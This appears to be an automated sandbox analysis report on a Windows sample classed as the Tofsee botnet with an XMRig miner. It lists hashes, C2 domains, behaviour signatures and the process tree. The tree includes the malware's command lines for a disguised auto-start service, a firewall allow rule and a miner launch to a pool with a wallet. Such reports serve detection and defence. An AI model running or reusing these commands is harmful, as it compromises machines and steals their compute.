Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-1703_x64
  • resource
    win10-20220812-en
  • resource tags

    arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
  • submitted
    27-10-2022 09:20

General

  • Target

    3d7606fc3298682a7bab9a98a94dbb55fd0afe95302991e439867fe3c46ab4da.exe

  • Size

    268KB

  • MD5

    f6f6397493ea8350b4550da03337fabf

  • SHA1

    16b6108d0b58ac938016bbdb5934fcc108cd6efc

  • SHA256

    3d7606fc3298682a7bab9a98a94dbb55fd0afe95302991e439867fe3c46ab4da

  • SHA512

    dd2ae41b98dcfa2c2c119ffb14f94eb323845cdc634801c77fa0d5a748b69e55dece38591c39786fca1e0c4ffbcb2d10b5526f92f00759d4047a234e00f512eb

  • SSDEEP

    3072:rXiQ6zGDbU8V3XbZl7IZeRU5Thu4M6nF6MIH8UZodGV0aNPd7I2vrN0K+:D36zcHdl8l5Thu4M6F6VZodGTMQrN0/

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3d7606fc3298682a7bab9a98a94dbb55fd0afe95302991e439867fe3c46ab4da.exe
    "C:\Users\Admin\AppData\Local\Temp\3d7606fc3298682a7bab9a98a94dbb55fd0afe95302991e439867fe3c46ab4da.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2708
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\oketwoag\
      2⤵
        PID:4708
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xnpctlw.exe" C:\Windows\SysWOW64\oketwoag\
        2⤵
          PID:4952
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create oketwoag binPath= "C:\Windows\SysWOW64\oketwoag\xnpctlw.exe /d\"C:\Users\Admin\AppData\Local\Temp\3d7606fc3298682a7bab9a98a94dbb55fd0afe95302991e439867fe3c46ab4da.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1292
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description oketwoag "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4192
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start oketwoag
          2⤵
          • Launches sc.exe
          PID:4760
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3500
      • C:\Windows\SysWOW64\oketwoag\xnpctlw.exe
        C:\Windows\SysWOW64\oketwoag\xnpctlw.exe /d"C:\Users\Admin\AppData\Local\Temp\3d7606fc3298682a7bab9a98a94dbb55fd0afe95302991e439867fe3c46ab4da.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4280
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2788
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4376

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\xnpctlw.exe

        Filesize

        11.9MB

        MD5

        43a21a53a12ea41c8beaa33d8de44e98

        SHA1

        1e061f0d72dd8be7180ffd79ae4257f6f3c92682

        SHA256

        86697646496d0915befe9d8a226a94430d3375888e84ce3fa5fa903cef0f6f59

        SHA512

        62ef3658d941a0dc720749e0236bc29657d1a85b53e383feceda406c7db6f9f78de405e54df073a377983fc005323c4127bedc2e3df336bf42cf604302201f7c

      • C:\Windows\SysWOW64\oketwoag\xnpctlw.exe

        Filesize

        11.9MB

        MD5

        43a21a53a12ea41c8beaa33d8de44e98

        SHA1

        1e061f0d72dd8be7180ffd79ae4257f6f3c92682

        SHA256

        86697646496d0915befe9d8a226a94430d3375888e84ce3fa5fa903cef0f6f59

        SHA512

        62ef3658d941a0dc720749e0236bc29657d1a85b53e383feceda406c7db6f9f78de405e54df073a377983fc005323c4127bedc2e3df336bf42cf604302201f7c

      • memory/1292-188-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/1292-190-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/1292-189-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/1292-184-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/1292-187-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/1292-186-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/1292-185-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/1292-183-0x0000000000000000-mapping.dmp

      • memory/2708-160-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-165-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-131-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-133-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-134-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-135-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-136-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-137-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-138-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-139-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-141-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-140-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-142-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-143-0x0000000002CA0000-0x0000000002D4E000-memory.dmp

        Filesize

        696KB

      • memory/2708-145-0x0000000002CA0000-0x0000000002D4E000-memory.dmp

        Filesize

        696KB

      • memory/2708-144-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-146-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-147-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-148-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-149-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-150-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-151-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-152-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-153-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-154-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-155-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-156-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-157-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-158-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-159-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-119-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-161-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-162-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-163-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-164-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-132-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-166-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-167-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-169-0x0000000000400000-0x0000000002C31000-memory.dmp

        Filesize

        40.2MB

      • memory/2708-168-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-230-0x0000000000400000-0x0000000002C31000-memory.dmp

        Filesize

        40.2MB

      • memory/2708-120-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-121-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-122-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-123-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-124-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-125-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-127-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-128-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-129-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2708-130-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/2788-486-0x0000000002E40000-0x0000000002E55000-memory.dmp

        Filesize

        84KB

      • memory/2788-485-0x0000000002E40000-0x0000000002E55000-memory.dmp

        Filesize

        84KB

      • memory/2788-433-0x0000000002E49A6B-mapping.dmp

      • memory/3500-219-0x0000000000000000-mapping.dmp

      • memory/4192-194-0x0000000000000000-mapping.dmp

      • memory/4280-436-0x0000000002C90000-0x0000000002CA3000-memory.dmp

        Filesize

        76KB

      • memory/4280-446-0x0000000000400000-0x0000000002C31000-memory.dmp

        Filesize

        40.2MB

      • memory/4376-521-0x00000000032D259C-mapping.dmp

      • memory/4708-172-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/4708-171-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/4708-170-0x0000000000000000-mapping.dmp

      • memory/4708-173-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/4708-174-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/4708-180-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/4760-205-0x0000000000000000-mapping.dmp

      • memory/4952-177-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/4952-178-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/4952-175-0x0000000000000000-mapping.dmp

      • memory/4952-179-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/4952-181-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB

      • memory/4952-176-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

        Filesize

        1.6MB